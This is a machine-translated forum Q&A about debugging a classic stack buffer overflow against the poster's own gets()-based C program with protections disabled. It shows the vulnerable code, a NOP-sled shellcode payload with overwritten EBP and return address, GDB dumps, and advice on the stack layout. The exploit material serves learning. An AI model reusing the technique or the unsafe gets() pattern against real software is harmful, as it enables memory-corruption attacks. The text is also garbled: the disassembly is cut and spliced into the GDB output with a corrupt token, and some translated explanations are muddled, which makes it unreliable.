几天前,我编写了一个简单的代码来测试x86系统上的缓冲区溢出利用。为了简单起见,我禁用了ASLR和NX,因此没有任何保护措施可能导致奇怪的行为。

这是我的C代码:

#include <stdio.h>

void read_txt(){
        char txt[64];
        printf("Write something:");
        gets(txt);
}


int main(){
    read_txt();
    return 0;
}


我也写了自己的shellcode,只打印一个字符串。据我所知,有效载荷应该是这样的,用NOP指令+ Shellcode填充缓冲区,添加0x41414141(AAAA)覆盖EBP寄存器,最后我用指向NOP中间的地址覆盖返回地址。 br />
实际上它不能以这种方式工作,而我的有效负载如下:有效负载直接传递给程序,我认为问题在于,在程序执行gets()函数之前,反汇编程序显示了将esp指向ebp并导致错误的离开指令。

这是拆卸read_txt()函数:

[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]

1- NOPs + Shellcode = 60bytes
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)
3- Address to override EBP (In the middle of NOPs)
4- Overrides Return Address


这是在GDB上执行漏洞利用的方法:

0x0804844c <+0>:    push   %ebp
   0x0804844d <+1>: mov    %esp,%ebp
   0x0804844f <+3>: sub    
(gdb) x/20x $esp
0xbffff47c: 0xbffff480  0x90909090  0x90909090  0x90909090
0xbffff48c: 0x90909090  0xc0319090  0xc931db31  0x04b0d231
0xbffff49c: 0x206801b3  0x6820293b  0x63657368  0x69482068
0xbffff4ac: 0x6f486867  0xe189616c  0x80cd0fb2  0xdb3101b0
0xbffff4bc: 0x41414141  0xbffff489  0xbffff489  0xbffff500
(gdb) s
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: I/O Error.

0xbffff489 in ?? ()
(gdb) c
Continuing.
Shellcode Executed
Program received signal SIGSEGV, Segmentation fault.
0xbffff4b9 in ?? ()
(gdb) 
x44,%esp 0x08048452 <+6>: movl q4312078qx8048510,(%esp) 0x08048459 <+13>: call 0x8048320 <printf@plt> 0x0804845e <+18>: lea -0x40(%ebp),%eax 0x08048461 <+21>: mov %eax,(%esp) 0x08048464 <+24>: call 0x8048330 <gets@plt> 0x08048469 <+29>: leave 0x0804846a <+30>: ret


请注意,EBP指向0x90909090,因为它具有覆盖返回地址的相同地址,并且还注意到字符串Shellcode Executed是有效载荷中包含的shellcode。 />
我的问题是,在将寄信人地址指向NOP幻灯片之前,我应该将EBP指向何处以避免该问题?还有一个次要问题,为什么我不能用NOP + Shellcode填充64bytes缓冲区?

注意事项。

#1 楼

实际上,gdb内部和外部的内存布局相差几个字节。最近这里有一个问题。您可以阅读:如何预测实际和gdb控制的执行之间的地址空间布局差异?
我也可以通过gdb给您一些技巧,以帮助您一点: in。包括保存的eip和保存的ebp的存储位置。观察是否到达内存中的正确位置进行修改非常有用。您可以在info frame上设置一个断点,并在调用read_txt之前和之后显示保存的eip的内容,以查看修改是否正确进行。 />
0xbffff489 in ?? ()


这基本上意味着gets()找不到链接到内存位置的任何符号。但是,它可能是汇编代码,特别是如果它是您的shellcode。因此,要分解它,您可以使用以下命令之一:




评论


就是这样,问题是我实际上指向的是nop + shellcode。另外,除非它在gdb内部工作,否则在外部执行期间堆栈会有所不同,并且不会起作用。检查您提供的链接,我了解发生了什么并解决了问题。谢谢

– Nucklear
13年3月3日在15:41

96字节来自哪里?

– Nikos
17年6月19日在14:43

@ RestlessC0bra:这是GCC环境变量在运行进程时添加的平均字节数(至少这是我的经验,它可能因系统而异)。

–恐怖
17年6月19日14:49



@perror事实证明您的回答对我很有帮助。我了解了更多的gdb技巧,并且获得了更好的理解。但是,这并没有帮助我解决问题。我在地址0x90909090遇到分段错误。这是我的确切错误消息”程序收到信号SIGSEGV,分段错误。??()中的0x90909090我已经彻底检查并重新检查,现在甚至可以进一步了解您的答案(命令信息框架),并且我确定我覆盖了返回地址地址在我的shellcode中的某个地方,但是我无法逃脱此错误!!! Ubuntu 32bit 16.04 LTS

– Nikos
17年6月19日在15:09



这种安排可能是因为(部分)检查了保存的ebp地址。在一些系统中似乎是如此。因此,我习惯了这种安排:[nopsled] + [shellcode] + [return address] + [return address](第一个返回地址是伪造的ebp,可确保恢复的ebp指向现有的ebp指向堆栈的内存页面,第二个返回地址是根据需要重写保存的eip)。

–恐怖
17年6月22日在12:29